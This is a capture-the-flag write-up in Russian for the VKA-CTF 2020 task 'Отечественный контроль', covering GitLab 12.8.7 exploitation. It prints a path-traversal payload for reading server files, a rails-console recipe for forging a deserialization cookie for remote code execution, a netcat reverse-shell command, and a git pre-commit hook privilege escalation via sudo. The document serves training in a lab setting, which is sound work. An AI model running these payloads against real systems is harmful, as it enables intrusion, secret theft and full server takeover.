Skip to content

Latest commit

 

History

History
96 lines (75 loc) · 6.81 KB

File metadata and controls

96 lines (75 loc) · 6.81 KB

Отечественный контроль

Событие Название Категория Сложность
VKA-CTF`2020 Отечественный контроль HTB ВЫПУСК/1-3 курс

Описание

Автор: [ 𝕂𝕣𝕒𝕦𝕤𝕖 ]

Один очень уважаемый полковник недавно очень неудачно съездил на отдых в Крым. Как итог - все его репозитории на сайте github были заблокированы. Не очень долго думая, он решил поднять собственную систему контроля версий. Ну как поднять, просто поставил задачу своему подчиненному. Осталось только проверить как хорошо он с ней справился.

Решение

USER


Arbitrary File Read

При входе на сайт видим gitlab сервер. Мы можем узанть его версию на /help

GitLab Community Edition 12.8.7

На HackerOne есть отчёт, в котором сказано, что данная версия уязвима к произвольному чтению файлов сервера.

Согласно отчёту необходимо выполнить следующие действия:

  • Создать два проекта
  • Добавить в первый проект issue со следующим примечанием:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
  • Переместить созданный issue во второй проект
  • Перейти во второй проект и прочитать файл

RCE

Таким образом мы имеем произвольное чтение файлов. Используем это, чтобы получить RCE

  1. Нам необходимо узнать секретный ключ сервера. Читаем файл /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml и сохраняем себе ключ: secret_key_base: b15392...

  2. Далее удостоверяемся, что на сервере установлен сериализатор :hybrid Читаем файл /opt/gitlab/embedded/service/gitlab-rails/config/initializers/cookies_serializer.rb и проверяем строчку Rails.application.config.action_dispatch.cookies_serializer = :hybrid

  3. Следующим шагом необходимо поднять gitlab этой же версии у себя и поменять у него секретный ключ, который мы получили в шаге 1

  4. Внутри вашего GitLab контейнера (если вы использовали docker, чтобы поднять gitlab) запускаем rails console и выполняем следующие команды:

> gitlab-rails console
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `your_command_here` %>")
depr = depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Чтобы получить Reverse Shell можно воспользоватся командой nc -e /bin/bash URL PORT

  1. После выполнения последней команды вы получите cookie. Используем их, чтобы отправить запрос на gitlab и выполнить команду:
curl 'https://gitlab.vkactf.tk/' -b "remember_user_token=КУКА_ЗДЕСЬ"

Используя обратную оболочку, мы будем выполнять команды от имени поьзователя git

OSINT

Создав свой аккаунт на gitlab, можно найти публичный репозиторий secret-project. В одном из его issues указана ссылка на репозиторий github, которая нам недоступна. Пробуем найти имя C0mr4d3NeR4d в соцсетях. Находим в Twitter

На этой странице последний пост указывает на репозиторий на gitlab. Изучив немного код, можно заметить, что все пароли созданы по шаблону servicename_aka47

Пробуем использовать этот шаблон для доступа к пользователям comrade и cadet на gitlab сервере. Пароль cadet_aka47 не подошёл, зато подошёл comrade_aka47. Заходим с этим паролем за пользователя comrade и получаем первый флаг

Флаг:

vka{c00l_4rb17r4ry_f1l3_r34d}

ROOT


Privilege Escalation

Пользователи comrade и cadet имеют общую группу. Заходим в домашнюю папку пользователя cadet и находим тот самый открытый репозиторий secret-project

Нам досутпно выполнение команд git от имени суперпользователя без пароля

> sudo -l
(ALL) NOPASSWD: /usr/bin/git

Мы не можем взаимодействовать с удалённым репозиторием, так как не знаем пароль пользователя.

GIT имеет хуки, которые выполняются после/до определённых команд. Таким образом, мы может создать хук, который выполнится, например, до команды git commit

В директории .git/hooks/ создаём файл pre-commit с правами 755 и записываем в него код, который исполнится от имени суперпользователя, например

#!/bin/bash
cat /root/root.txt

Создаём какие-либо изменения, добавляем их в отслеживание, выполняем коммит и получаем флаг

Флаг:

vka{c00l_pr1v1l463_35c4l4710n}